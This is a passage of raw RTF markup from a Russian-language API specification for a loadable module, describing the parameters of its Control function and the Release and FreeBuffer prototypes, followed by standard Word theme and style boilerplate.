\par \hich\af37\dbch\af31505\loch\f37 Ctl - }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid15096106 \loch\af37\dbch\af31505\hich\f37 \'f1\'f2\'f0\'ee\'ea\'e0\loch\f37 \hich\f37 \'f1\'ee\'e4\'e5\'f0\'e6\'e0\'f9\'e0\'ff\loch\f37 }{\rtlch\fcs1 \af37 \ltrch\fcs0
\f37\lang1033\langfe1049\langnp1033\insrsid15096106 \hich\af37\dbch\af31505\loch\f37 ctl }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid15096106 \loch\af37\dbch\af31505\hich\f37 \'ea\loch\f37 \hich\f37 \'ec\'ee\'e4\'f3\'eb\'fe
\par }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\lang1033\langfe1049\langnp1033\insrsid15096106 \hich\af37\dbch\af31505\loch\f37 CtlArg}{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid15096106 \hich\af37\dbch\af31505\loch\f37 \hich\f37 - \'e0\'f0\'e3\'f3\'ec\'e5\'ed\'f2
\loch\f37 }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\lang1033\langfe1049\langnp1033\insrsid15096106 \hich\af37\dbch\af31505\loch\f37 ctl }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid15096106 \loch\af37\dbch\af31505\hich\f37 \'ea\loch\f37 \hich\f37 \'ec\'ee\'e4
\'f3\'eb\'fe
\par }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\lang1033\langfe1049\langnp1033\insrsid15096106 \hich\af37\dbch\af31505\loch\f37 CtlArgLen - \loch\af37\dbch\af31505\hich\f37 \'f0\'e0\'e7\'ec\'e5\'f0\hich\af37\dbch\af31505\loch\f37 \loch\af37\dbch\af31505\hich\f37
\'ef\'e0\'f0\'e0\'ec\'e5\'f2\'f0\hich\af37\dbch\af31505\loch\f37 CtlArg \loch\af37\dbch\af31505\hich\f37 \'e2\hich\af37\dbch\af31505\loch\f37 \loch\af37\dbch\af31505\hich\f37 \'e1\'e0\'e9\'f2\'e0\'f5}{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid15096106
\par }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\lang1033\langfe1049\langnp1033\insrsid15096106 \hich\af37\dbch\af31505\loch\f37 ResultInfo -\loch\af37\dbch\af31505\hich\f37 \'e1\'f3\'f4\'e5\'f0\hich\af37\dbch\af31505\loch\f37 \loch\af37\dbch\af31505\hich\f37 \'e4
\'eb\'ff\hich\af37\dbch\af31505\loch\f37 \loch\af37\dbch\af31505\hich\f37 \'f0\'e5\'e7\'f3\'eb\'fc\'f2\'e8\'f0\'f3\'fe\'f9\'e5\'e9\hich\af37\dbch\af31505\loch\f37 \loch\af37\dbch\af31505\hich\f37 \'f1\'f2\'f0\'ee\'ea\'e8\hich\af37\dbch\af31505\loch\f37
ctl. \loch\af37\dbch\af31505\hich\f37 \'c1\'f3\'f4\'e5\'f0\hich\af37\dbch\af31505\loch\f37 \loch\af37\dbch\af31505\hich\f37 \'e8\'ec\'e5\'e5\'f2\hich\af37\dbch\af31505\loch\f37 \loch\af37\dbch\af31505\hich\f37 \'f4\'e8\'ea\'f1\'e8\'f0\'ee\'e2\'e0\'ed
\'ed\'f3\'fe\hich\af37\dbch\af31505\loch\f37 \loch\af37\dbch\af31505\hich\f37 \'e4\'eb\'e8\'ed\'f3\hich\af37\dbch\af31505\loch\f37 1024 \loch\af37\dbch\af31505\hich\f37 \'e1\'e0\'e9\'f2\'e0
\par \hich\af37\dbch\af31505\loch\f37 ppOutData}{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid15096106 \hich\af37\dbch\af31505\loch\f37 \hich\f37 - \'f3\'ea\'e0\'e7\'e0\'f2\'e5\'eb\'fc\loch\f37 \hich\f37 \'ed\'e0\loch\f37 \hich\f37 \'ef\'e5\'f0\'e5\'ec\'e5\'ed
\'ed\'f3\'fe\loch\f37 \hich\f37 \'e2\loch\f37 \hich\f37 \'ea\'ee\'f2\'ee\'f0\'f3\'fe\loch\f37 \hich\f37 \'e1\'f3\'e4\'e5\'f2\loch\f37 \hich\f37 \'f1\'ee\'f5\'f0\'e0\'ed\'b8\'ed\loch\f37 \hich\f37 \'f3\'ea\'e0\'e7\'e0\'f2\'e5\'eb\'fc\loch\f37
\hich\f37 \'ed\'e0\loch\f37 \hich\f37 \'e1\'f3\'f4\'e5\'f0\loch\f37 \hich\f37 \'f1\loch\f37 \hich\f37 \'e2\'fb\'f5\'ee\'e4\'ed\'fb\'ec\'e8\loch\f37 \hich\f37 \'e4\'e0\'ed\'ed\'fb\'ec\'e8\loch\f37 }{\rtlch\fcs1 \af37 \ltrch\fcs0
\f37\lang1033\langfe1049\langnp1033\insrsid15096106 \hich\af37\dbch\af31505\loch\f37 ctl (ctl_OutData)
\par \hich\af37\dbch\af31505\loch\f37 pOutDataSize - }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid15096106 \loch\af37\dbch\af31505\hich\f37 \'f3\'ea\'e0\'e7\'e0\'f2\'e5\'eb\'fc\loch\f37 \hich\f37 \'ed\'e0\loch\f37 \hich\f37 \'ef\'e5\'f0\'e5\'ec\'e5\'ed\'ed
\'f3\'fe\loch\f37 \hich\f37 \'e2\loch\f37 \hich\f37 \'ea\'ee\'f2\'ee\'f0\'f3\'fe\loch\f37 \hich\f37 \'e1\'f3\'e4\'e5\'f2\loch\f37 \hich\f37 \'f1\'ee\'f5\'f0\'e0\'ed\'b8\'ed\loch\f37 \hich\f37 \'f0\'e0\'e7\'ec\'e5\'f0\loch\f37 \hich\f37 \'e4\'e0\'ed
\'ed\'fb\'f5\loch\f37 \hich\f37 \'e2\loch\f37 \hich\f37 \'e1\'f3\'f4\'e5\'f0\'e5\loch\f37 \hich\f37 \'f1\loch\f37 \hich\f37 \'e2\'fb\'f5\'ee\'e4\'ed\'fb\'ec\'e8\loch\f37 \hich\f37 \'e4\'e0\'ed\'ed\'fb\'ec\'e8\hich\af37\dbch\af31505\loch\f37 }{
\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\lang1033\langfe1049\langnp1033\insrsid15096106 \hich\af37\dbch\af31505\loch\f37 ctl
\par \hich\af37\dbch\af31505\loch\f37 pOutDataTag}{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid15096106 \hich\af37\dbch\af31505\loch\f37 - }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\lang1033\langfe1049\langnp1033\insrsid15096106 \loch\af37\dbch\af31505\hich\f37 \'e1
\'f3\'f4\'e5\'f0\hich\af37\dbch\af31505\loch\f37 \loch\af37\dbch\af31505\hich\f37 \'e4\'eb\'ff\hich\af37\dbch\af31505\loch\f37 }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid15096106 \loch\af37\dbch\af31505\hich\f37 \'e2\'f1\'ef\'ee\'ec\'ee\'e3\'e0\'f2\'e5
\'eb\'fc\'ed\'ee\'e3\'ee\loch\f37 \hich\f37 \'f2\'e5\'e3\'e0\loch\f37 \hich\f37 , \'ea\'ee\'f2\'ee\'f0\'fb\'e9\loch\f37 \hich\f37 \'e1\'f3\'e4\'e5\'f2\loch\f37 \hich\f37 \'ee\'f2\'ef\'f0\'e0\'e2\'eb\'e5\'ed\loch\f37 \hich\f37 \'ed\'e0\loch\f37
\hich\f37 \'f1\'e5\'f0\'e2\'e5\'f0}{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\lang1033\langfe1049\langnp1033\insrsid15096106 \hich\af37\dbch\af31505\loch\f37 . \loch\af37\dbch\af31505\hich\f37 \'c1\'f3\'f4\'e5\'f0\hich\af37\dbch\af31505\loch\f37
\loch\af37\dbch\af31505\hich\f37 \'e8\'ec\'e5\'e5\'f2\hich\af37\dbch\af31505\loch\f37 \loch\af37\dbch\af31505\hich\f37 \'f4\'e8\'ea\'f1\'e8\'f0\'ee\'e2\'e0\'ed\'ed\'f3\'fe\hich\af37\dbch\af31505\loch\f37 \loch\af37\dbch\af31505\hich\f37 \'e4\'eb\'e8\'ed
\'f3\hich\af37\dbch\af31505\loch\f37 }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid15096106 \hich\af37\dbch\af31505\loch\f37 128}{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\lang1033\langfe1049\langnp1033\insrsid15096106 \hich\af37\dbch\af31505\loch\f37
\loch\af37\dbch\af31505\hich\f37 \'e1\'e0\'e9\'f2
\par }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid15096106 \loch\af37\dbch\af31505\hich\f37 \'d4\'f3\'ed\'ea\'f6\'e8\'ff\loch\f37 \hich\f37 \'e2\loch\f37 \hich\f37 \'f1\'eb\'f3\'f7\'e0\'e5\loch\f37 \hich\f37 \'f3\'e4\'e0\'f7\'e8\loch\f37 \hich\f37 \'e2\'ee
\'e7\'e2\'f0\'e0\'f9\'e0\'e5\'f2\loch\f37 }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\lang1033\langfe1049\langnp1033\insrsid15096106 \hich\af37\dbch\af31505\loch\f37 TRUE}{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid15096106 \hich\af37\dbch\af31505\loch\f37
\hich\f37 , \'e2\loch\f37 \hich\f37 \'ef\'f0\'ee\'f2\'e8\'e2\'ed\'ee\'ec\loch\f37 \hich\f37 \'f1\'eb\'f3\'f7\'e0\'e5\loch\f37 \hich\f37 \'f4\'f3\'ed\'ea\'f6\'e8\'ff\loch\f37 \hich\f37 \'e2\'ee\'e7\'e2\'f0\'e0\'f9\'e0\'e5\'f2\loch\f37 }{\rtlch\fcs1
\af37 \ltrch\fcs0 \f37\lang1033\langfe1049\langnp1033\insrsid15096106 \hich\af37\dbch\af31505\loch\f37 FALSE}{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid15096106 \hich\af37\dbch\af31505\loch\f37 \hich\f37 . \'c2\loch\f37 \hich\f37 \'f1\'eb\'f3\'f7\'e0\'e5
\loch\f37 \hich\f37 \'f3\'f1\'ef\'e5\'f5\'e0\loch\f37 \hich\f37 \'e5\'f1\'eb\'e8\loch\f37 \hich\f37 \'e7\'ed\'e0\'f7\'e5\'ed\'e8\'e5\loch\f37 *}{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\lang1033\langfe1049\langnp1033\insrsid15096106
\hich\af37\dbch\af31505\loch\f37 ppOutData}{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid15096106 \hich\af37\dbch\af31505\loch\f37 \hich\f37 \'ef\'ee\loch\af37\dbch\af31505\hich\f37 \'f1\'eb\'e5\loch\f37 \hich\f37 \'e2\'fb\'e7\'ee\'e2\'e0\loch\f37
\hich\f37 \'ed\'e5\loch\f37 \hich\f37 \'f0\'e0\'e2\'ed\'ee\loch\f37 \hich\f37 \'ed\'f3\'eb\'fe\loch\f37 \hich\f37 , \'f2\'ee\loch\f37 \hich\f37 \'fd\'f2\'ee\'f2\loch\f37 \hich\f37 \'e1\'f3\'f4\'e5\'f0\loch\f37 \hich\f37 \'e4\'ee\'eb\'e6\'e5\'ed
\loch\f37 \hich\f37 \'e1\'fb\'f2\'fc\loch\f37 \hich\f37 \'ee\'f1\'e2\'ee\'e1\'ee\'e6\'e4\'b8\'ed\loch\f37 \hich\f37 \'f7\'e5\'f0\'e5\'e7\loch\f37 \hich\f37 \'f4\'f3\'ed\'ea\'f6\'e8\'fe\loch\f37 }{\rtlch\fcs1 \af37 \ltrch\fcs0
\f37\lang1033\langfe1049\langnp1033\insrsid15096106 \hich\af37\dbch\af31505\loch\f37 FreeBuffer}{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid15096106 \hich\af37\dbch\af31505\loch\f37 }{\rtlch\fcs1 \af37 \ltrch\fcs0
\f37\lang1033\langfe1049\langnp1033\insrsid15096106
\par }{\rtlch\fcs1 \ab\af37 \ltrch\fcs0 \b\f37\insrsid15096106 \hich\af37\dbch\af31505\loch\f37 6}{\rtlch\fcs1 \ab\af37 \ltrch\fcs0 \b\f37\lang1033\langfe1049\langnp1033\insrsid15096106 \hich\af37\dbch\af31505\loch\f37 .3 }{\rtlch\fcs1 \af37 \ltrch\fcs0
\f37\insrsid15096106 \loch\af37\dbch\af31505\hich\f37 \'d4\'f3\'ed\'ea\'f6\'e8\'ff\loch\f37 }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\lang1033\langfe1049\langnp1033\insrsid15096106 \hich\af37\dbch\af31505\loch\f37 Release}{\rtlch\fcs1 \af37 \ltrch\fcs0
\f37\insrsid15096106 \hich\af37\dbch\af31505\loch\f37 \hich\f37 \'e8\'ec\'e5\'e5\'f2\loch\f37 \hich\f37 \'f1\'eb\'e5\'e4\'f3\'fe\'f9\'e8\'e9\loch\f37 \hich\f37 \'ef\'f0\'ee\'f2\'ee\'f2\'e8\'ef
\par }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\lang1033\langfe1049\langnp1033\insrsid15096106 \hich\af37\dbch\af31505\loch\f37 VOID Release}{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid15096106 \hich\af37\dbch\af31505\loch\f37 }{\rtlch\fcs1 \af37 \ltrch\fcs0
\f37\lang1033\langfe1049\langnp1033\insrsid15096106 \hich\af37\dbch\af31505\loch\f37 (
\par \tab \hich\af37\dbch\af31505\loch\f37 PVOID ModuleHandle);
\par }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid15096106 \loch\af37\dbch\af31505\hich\f37 \'d4\'f3\'ed\'ea\'f6\'e8\'ff\loch\f37 \hich\f37 \'f0\'e5\'e0\'eb\'e8\'e7\'f3\'e5\'f2\loch\f37 \hich\f37 \'ef\'ee\'eb\'ed\'ee\'e5\loch\f37 \hich\f37 \'e7\'e0\'e2\'e5
\'f0\'f8\'e5\'ed\'e8\'e5\loch\f37 \hich\f37 \'f0\'e0\'e1\'ee\'f2\'fb\loch\f37 \hich\f37 \'ec\'ee\'e4\'f3\'eb\'ff\loch\f37 \hich\f37 . \'c2\loch\f37 \hich\f37 \'e5\'b8\loch\f37 \hich\f37 \'e7\'e0\'e4\'e0\'f7\'e8\loch\f37 \hich\f37 \'e2\'f5\'ee\'e4\'e8
\'f2\loch\f37 \hich\f37 \'f3\'e4\'e0\'eb\'e5\'ed\'e8\'e5\loch\f37 \hich\f37 \'e2\'f1\'e5\'f5\loch\f37 \hich\f37 \'f0\loch\af37\dbch\af31505\hich\f37 \'e5\'f1\'f3\'f0\'f1\'ee\'e2\loch\f37 \hich\f37 \'e8\'f1\'ef\'ee\'eb\'fc\'e7\'f3\'e5\'ec\'fb\'f5
\loch\f37 \hich\f37 \'e2\loch\f37 \hich\f37 \'f5\'ee\'e4\'e5\loch\f37 \hich\f37 \'f0\'e0\'e1\'ee\'f2\'fb\loch\f37 \hich\f37 \'ec\'ee\'e4\'f3\'eb\'ff.
\par
\par }{\rtlch\fcs1 \ab\af37 \ltrch\fcs0 \b\f37\insrsid15096106 \hich\af37\dbch\af31505\loch\f37 6}{\rtlch\fcs1 \ab\af37 \ltrch\fcs0 \b\f37\lang1033\langfe1049\langnp1033\insrsid15096106 \hich\af37\dbch\af31505\loch\f37 .4 }{\rtlch\fcs1 \af37 \ltrch\fcs0
\f37\insrsid15096106 \loch\af37\dbch\af31505\hich\f37 \'d4\'f3\'ed\'ea\'f6\'e8\'ff\loch\f37 }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\lang1033\langfe1049\langnp1033\insrsid15096106 \hich\af37\dbch\af31505\loch\f37 FreeBuffer}{\rtlch\fcs1 \af37 \ltrch\fcs0
\f37\insrsid15096106 \hich\af37\dbch\af31505\loch\f37 \hich\f37 \'e8\'ec\'e5\'e5\'f2\loch\f37 \hich\f37 \'f1\'eb\'e5\'e4\'f3\'fe\'f9\'e8\'e9\loch\f37 \hich\f37 \'ef\'f0\'ee\'f2\'ee\'f2\'e8\'ef
\par }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\lang1033\langfe1049\langnp1033\insrsid15096106 \hich\af37\dbch\af31505\loch\f37 VOID FreeBuffer}{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid15096106 \hich\af37\dbch\af31505\loch\f37 }{\rtlch\fcs1 \af37 \ltrch\fcs0
\f37\lang1033\langfe1049\langnp1033\insrsid15096106 \hich\af37\dbch\af31505\loch\f37 (
\par \tab \hich\af37\dbch\af31505\loch\f37 PVOID pMemory);
\par }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid15096106 \loch\af37\dbch\af31505\hich\f37 \'d4\'f3\'ed\'ea\'f6\'e8\'ff\loch\f37 \hich\f37 \'ee\'f1\'e2\'ee\'e1\'ee\'e6\'e4\'e0\'e5\'f2\loch\f37 \hich\f37 \'e1\'f3\'f4\'e5\'f0\loch\f37 \hich\f37 \'e2\'fb\'e4
\'e5\'eb\'e5\'ed\'ed\'fb\'e9\loch\f37 \hich\f37 \'e2\'ed\'f3\'f2\'f0\'e8\loch\f37 \hich\f37 \'f4\'f3\'ed\'ea\'f6\'e8\'e8\loch\f37 }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\lang1033\langfe1049\langnp1033\insrsid15096106 \hich\af37\dbch\af31505\loch\f37
Control}{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid15096106 \hich\af37\dbch\af31505\loch\f37 \hich\f37 (\'ef\'e0\'f0\'e0\'ec\'e5\'f2\'f0\loch\f37 }{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\lang1033\langfe1049\langnp1033\insrsid15096106
\hich\af37\dbch\af31505\loch\f37 ppOutData}{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\insrsid15096106 \hich\af37\dbch\af31505\loch\f37 ).}{\rtlch\fcs1 \af37 \ltrch\fcs0 \f37\lang9\langfe1049\langnp9\insrsid15096106
\par }{\*\themedata 504b030414000600080000002100e9de0fbfff0000001c020000130000005b436f6e74656e745f54797065735d2e786d6cac91cb4ec3301045f748fc83e52d4a
9cb2400825e982c78ec7a27cc0c8992416c9d8b2a755fbf74cd25442a820166c2cd933f79e3be372bd1f07b5c3989ca74aaff2422b24eb1b475da5df374fd9ad
5689811a183c61a50f98f4babebc2837878049899a52a57be670674cb23d8e90721f90a4d2fa3802cb35762680fd800ecd7551dc18eb899138e3c943d7e503b6
b01d583deee5f99824e290b4ba3f364eac4a430883b3c092d4eca8f946c916422ecab927f52ea42b89a1cd59c254f919b0e85e6535d135a8de20f20b8c12c3b0
0c895fcf6720192de6bf3b9e89ecdbd6596cbcdd8eb28e7c365ecc4ec1ff1460f53fe813d3cc7f5b7f020000ffff0300504b030414000600080000002100a5d6
a7e7c0000000360100000b0000005f72656c732f2e72656c73848fcf6ac3300c87ef85bd83d17d51d2c31825762fa590432fa37d00e1287f68221bdb1bebdb4f
c7060abb0884a4eff7a93dfeae8bf9e194e720169aaa06c3e2433fcb68e1763dbf7f82c985a4a725085b787086a37bdbb55fbc50d1a33ccd311ba548b6309512
0f88d94fbc52ae4264d1c910d24a45db3462247fa791715fd71f989e19e0364cd3f51652d73760ae8fa8c9ffb3c330cc9e4fc17faf2ce545046e37944c69e462
a1a82fe353bd90a865aad41ed0b5b8f9d6fd010000ffff0300504b0304140006000800000021006b799616830000008a0000001c0000007468656d652f746865
6d652f7468656d654d616e616765722e786d6c0ccc4d0ac3201040e17da17790d93763bb284562b2cbaebbf600439c1a41c7a0d29fdbd7e5e38337cedf14d59b
4b0d592c9c070d8a65cd2e88b7f07c2ca71ba8da481cc52c6ce1c715e6e97818c9b48d13df49c873517d23d59085adb5dd20d6b52bd521ef2cdd5eb9246a3d8b
4757e8d3f729e245eb2b260a0238fd010000ffff0300504b030414000600080000002100863ae0a7f0060000be1a0000160000007468656d652f7468656d652f
7468656d65312e786d6cec59dd6e134714beafd47758edbdf1dfae7f221c64af6d682180b0a1e272628fbd436677ac9d71828590105c566a559556bd2852db9b
5e546d2341d51b7887f00c69a95a2af10a3d336baf67ec49091195a28a444ad6e3ef9cf9e69cb3df99dd397bee76449d5d9c70c2e2865b3c53701d1c0fd890c4
e3867bbddfcdd55c870b140f1165316eb833ccdd739befbf77166d881047d801fb986fa0861b0a31d9c8e7f90086113fc3263886ef462c8990808fc9383f4cd0
1ef88d68be542854f21122b1ebc42802b707df1dfc72f0f460dfb9321a9101763717fe3b142689059703039af4a477bc30faf6f9fd83fd8367074f0ef69fdf83
eb67f0ff53653bdc294a0b3ee3014d9c5d441b2e4c3d647b7d7c5bb80e455cc0170db7a07edcfce6d93cda981b517184ad66d7553f73bbb9c170a7a4e64cc6db
d9a49ee77b9566e65f01a858c775aa9d4aa792f953003418c0ca532eba4fbf556fb5fd395603a59716dfed6abb5c34f09afff21ae7a62f7f0dbc02a5febd357c
b71b40140dbc02a5787f0def79d552e01978054af195357cb5d06c7b5503af402125f1ce1abae057cac162b51964c4e8052bbcee7bdd6a69ee7c89826ac8aa4d
4e3162b1386eed45e8164bba60200d29122476c46c82476800851e204ab613e25c22e3100a718262c661b8502a740b65f82b7f3d75a522843630d2ac254f60c6
d786243f870f1232110df743f0ea6a90574f7f7cf5f4b17378ffc9e1fd5f0f1f3c38bcff73eac8b0ba80e2b16ef5f2fbcffe7e74cff9ebf1372f1f7e61c7731d
fffb4f1ffff6ec733b1056ba0cc18b2ff7ff78b2ffe2ab4ffefce1a105de4cd0b60eef930873e732de73aeb10816a6426032c7dbc99b59f44344748b663ce628
4672168bff8e080df4e519a2c8826b6133823712901c1bf0fcf49641b8172653412c1e2f869101dc628cb658628dc245399716e6fe341edb274fa63aee1a42bb
b6b903141bf9ed4c27a0bdc4e63208b141f32a45b140631c63e1c8efd80ec696d5dd24c488eb1619248cb391706e12a7858835247db26d54d3d2e80289202f33
1b41c8b7119bad1b4e8b51dbaadb78d744c25d81a8857c1f53238ce7d154a0c8e6b28f22aa07fc1212a18d646f960c745c870bc8f41853e6748698739bcd9504
d6ab25fd22c88b3ded5b741699c844901d9bcf4b88311dd9663b4188a2890ddb2371a8633fe03b50a2c8b9ca840dbec5cc3b447e863ca0f8c874df20d848f7eb
d5e03a28ab4e695920f29b6962c9e579cc8cfaedcde808612535d0080c3d8f48fc5a715f9175ffbf957510d2175f3fb2aceab40a7a3321d63beac28a8c1f855b
15ef80254372fab5bb8da6f1550cb7cb7a037b27ddefa4dbfddf4bf751f7f3db17eca546837ccbad62ba75571bf9e8d8fbf811a1b42766145fe26a2bcfa1530d
bb3028fda8c75c9c3de74d42b89477364c68e0c60952364ec2c4474484bd104d60bf5f74a593319fbb1e7367c2383c06a861ab6f89a7d3688b0dd3c7d962513e
baa662c291588e17fc6c1c1e3d448aae54978f68997bc576ac1ead1704a4ed9b90d0263349942d24aa8b411924f5200f41b390502b7b2b2cea161635e97e91aa
3516402dcb0a6ca51cd880355cdf03133082272c44f150e6294df522bb2a996f33d34705d3a800d8572c2a6099e9bae47ae4f2e4ead2523b46a60d125ab99924
5464544fe3211ae27975cad1e3d078d35cd7972935e8c950a8f9a0b49634aab57f6371d25c83ddaa36d058570a1a3b7b0db752f6a1640668d27047f01a002ea3
09d40e975b6044c7f0ba6d2092f4863f89b24c122eda888769c095e8a46a101181138792a8e1cae56769a0b1d210c5ad58024138b5e4ea202ba78d1c24dd4c32
1e8df040e869d74664a4d38fa0f0a95658bf55e627074b4b368574f7c2e19eb34da7c9350425e6578b328043c2e16d50318de690c0ebce4cc896f5b7d298e6b2
abbf6f5435948e233a09d1bca3e8629ec295946774d4a72c06daa7f99a21a05a48e68d707b2c1bac1e54a39b665d23e57064d77dbd918c9c269acb9e69a88aec
9a7615336658b48195589eacc96bac1621064dd33b7c2addab925b5f68ddca3e21eb1210f02c7e96ae7b8c86a0515b4e6650938cd765586af67cd4ec1d8b05be
86da719a84a6fa9585db95b8653dc23a1d0c9ea8f383dd6ad5c2d068b1cf5491564725fa5106dbbe05e2d18697c2532ab84a251c4c240836443db5274965036e
91db627e6bc095334d48c3bd53f09b5e50f2835ca1e677725ed92be46a7eb39c6bfa7eb9d8f18b8576ab74171a8b08a3a29f1ed374e1d5149dcd0f6bd4f8da81
4db478fb7666c0a23c53e73079455c1dd8144bc6814d7a4ee3f4e5718ceb10109d3b9552b75eaeb72ab97ab9d9cd79ed562d570f2aad5cbb1254dbdd76e0d7ea
ddbbaeb3abc05eb31c78954e2d57290641ceab1424fd5a3d57f54aa5a6576dd63a5ef3ee7c1b032b4fe5631e0b08afe2b5f90f000000ffff0300504b03041400
06000800000021000dd1909fb60000001b010000270000007468656d652f7468656d652f5f72656c732f7468656d654d616e616765722e786d6c2e72656c7384
8f4d0ac2301484f78277086f6fd3ba109126dd88d0add40384e4350d363f2451eced0dae2c082e8761be9969bb979dc9136332de3168aa1a083ae995719ac16d
b8ec8e4052164e89d93b64b060828e6f37ed1567914b284d262452282e3198720e274a939cd08a54f980ae38a38f56e422a3a641c8bbd048f7757da0f19b017c
c524bd62107bd5001996509affb3fd381a89672f1f165dfe514173d9850528a2c6cce0239baa4c04ca5bbabac4df000000ffff0300504b01022d001400060008
0000002100e9de0fbfff0000001c0200001300000000000000000000000000000000005b436f6e74656e745f54797065735d2e786d6c504b01022d0014000600
080000002100a5d6a7e7c0000000360100000b00000000000000000000000000300100005f72656c732f2e72656c73504b01022d00140006000800000021006b
799616830000008a0000001c00000000000000000000000000190200007468656d652f7468656d652f7468656d654d616e616765722e786d6c504b01022d0014
000600080000002100863ae0a7f0060000be1a00001600000000000000000000000000d60200007468656d652f7468656d652f7468656d65312e786d6c504b01
022d00140006000800000021000dd1909fb60000001b0100002700000000000000000000000000fa0900007468656d652f7468656d652f5f72656c732f7468656d654d616e616765722e786d6c2e72656c73504b050600000000050005005d010000f50a00000000}
{\*\colorschememapping 3c3f786d6c2076657273696f6e3d22312e302220656e636f64696e673d225554462d3822207374616e64616c6f6e653d22796573223f3e0d0a3c613a636c724d
617020786d6c6e733a613d22687474703a2f2f736368656d61732e6f70656e786d6c666f726d6174732e6f72672f64726177696e676d6c2f323030362f6d6169
6e22206267313d226c743122207478313d22646b3122206267323d226c743222207478323d22646b322220616363656e74313d22616363656e74312220616363
656e74323d22616363656e74322220616363656e74333d22616363656e74332220616363656e74343d22616363656e74342220616363656e74353d22616363656e74352220616363656e74363d22616363656e74362220686c696e6b3d22686c696e6b2220666f6c486c696e6b3d22666f6c486c696e6b222f3e}
{\*\latentstyles\lsdstimax371\lsdlockeddef0\lsdsemihiddendef0\lsdunhideuseddef0\lsdqformatdef0\lsdprioritydef99{\lsdlockedexcept \lsdqformat1 \lsdpriority0 \lsdlocked0 Normal;\lsdqformat1 \lsdpriority9 \lsdlocked0 heading 1;
\lsdsemihidden1 \lsdunhideused1 \lsdqformat1 \lsdpriority9 \lsdlocked0 heading 2;\lsdsemihidden1 \lsdunhideused1 \lsdqformat1 \lsdpriority9 \lsdlocked0 heading 3;\lsdsemihidden1 \lsdunhideused1 \lsdqformat1 \lsdpriority9 \lsdlocked0 heading 4;
\lsdsemihidden1 \lsdunhideused1 \lsdqformat1 \lsdpriority9 \lsdlocked0 heading 5;\lsdsemihidden1 \lsdunhideused1 \lsdqformat1 \lsdpriority9 \lsdlocked0 heading 6;\lsdsemihidden1 \lsdunhideused1 \lsdqformat1 \lsdpriority9 \lsdlocked0 heading 7;
\lsdsemihidden1 \lsdunhideused1 \lsdqformat1 \lsdpriority9 \lsdlocked0 heading 8;\lsdsemihidden1 \lsdunhideused1 \lsdqformat1 \lsdpriority9 \lsdlocked0 heading 9;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 index 1;
\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 index 2;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 index 3;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 index 4;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 index 5;
\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 index 6;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 index 7;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 index 8;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 index 9;
\lsdsemihidden1 \lsdunhideused1 \lsdpriority39 \lsdlocked0 toc 1;\lsdsemihidden1 \lsdunhideused1 \lsdpriority39 \lsdlocked0 toc 2;\lsdsemihidden1 \lsdunhideused1 \lsdpriority39 \lsdlocked0 toc 3;
\lsdsemihidden1 \lsdunhideused1 \lsdpriority39 \lsdlocked0 toc 4;\lsdsemihidden1 \lsdunhideused1 \lsdpriority39 \lsdlocked0 toc 5;\lsdsemihidden1 \lsdunhideused1 \lsdpriority39 \lsdlocked0 toc 6;
\lsdsemihidden1 \lsdunhideused1 \lsdpriority39 \lsdlocked0 toc 7;\lsdsemihidden1 \lsdunhideused1 \lsdpriority39 \lsdlocked0 toc 8;\lsdsemihidden1 \lsdunhideused1 \lsdpriority39 \lsdlocked0 toc 9;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 Normal Indent;
\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 footnote text;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 annotation text;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 header;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 footer;
\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 index heading;\lsdsemihidden1 \lsdunhideused1 \lsdqformat1 \lsdpriority35 \lsdlocked0 caption;\lsdsemihidden1 \lsdunhideused1 \lsdlocked0 table of figures;
